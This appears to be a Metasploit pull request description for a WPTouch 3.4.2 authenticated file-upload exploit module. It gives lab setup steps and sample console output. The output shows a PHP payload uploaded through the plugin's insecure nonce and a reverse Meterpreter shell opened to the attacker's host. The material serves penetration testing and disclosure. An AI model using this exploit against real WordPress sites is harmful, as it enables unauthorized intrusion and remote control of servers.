Added WPTouch fileupload exploit

New wptouch file upload exploit
http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html

### Verification Steps
 - [ ] Setup a Wordpress test machine: https://www.firefart.at/how-to-install-wordpress/
 - [ ] Download vulnerable plugin: http://downloads.wordpress.org/plugin/wptouch.3.4.2.zip
 - [ ] Edit php.ini (in Ubuntu under `/etc/php5/apache2/php.ini` and change `upload_max_filesize = 2M` to `upload_max_filesize = 20M` (otherwise you can not upload the zip)
 - [ ] Restart Apache after the php.ini change
 - [ ] Open Wordpress Admin Interface --> Plugins --> Add new --> Upload --> Upload the ZIP file
 - [ ] Activate the plugin
 - [ ] Create a test user with a wole of your choice
 - [ ] Run the exploit

### Sample Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wptouch_file_upload RHOST=192.168.126.164 USER=test PASSWORD=test E
[*] Initializing modules...
RHOST => 192.168.126.164
USER => test
PASSWORD => test
[*] Started reverse handler on 192.168.126.129:4444 
[*] 192.168.126.164:80 - Trying to login as test
[*] 192.168.126.164:80 - Trying to get nonce
[*] 192.168.126.164:80 - Got nonce c6c2091b5a
[*] 192.168.126.164:80 - Trying to upload payload
[*] 192.168.126.164:80 - Uploading payload
[*] 192.168.126.164:80 - Calling uploaded file http://192.168.126.164/wp-content/wptouch-data/uploads/mwbYBcxHvP.php
[*] Sending stage (40551 bytes) to 192.168.126.164
[*] Meterpreter session 1 opened (192.168.126.129:4444 -> 192.168.126.164:51686) at 2014-07-14 21:27:01 +0200
[+] Deleted mwbYBcxHvP.php

meterpreter > sysinfo
Computer    : wordpress
OS          : Linux wordpress 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014 x86_64
Meterpreter : php/php
meterpreter > 
```

```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wptouch_file_upload RHOST=192.168.126.164 USER=test PASSWORD=test C
[*] Initializing modules...
[*] 192.168.126.164:80 - Found version 3.4.2 of the plugin
[*] The target appears to be vulnerable.
```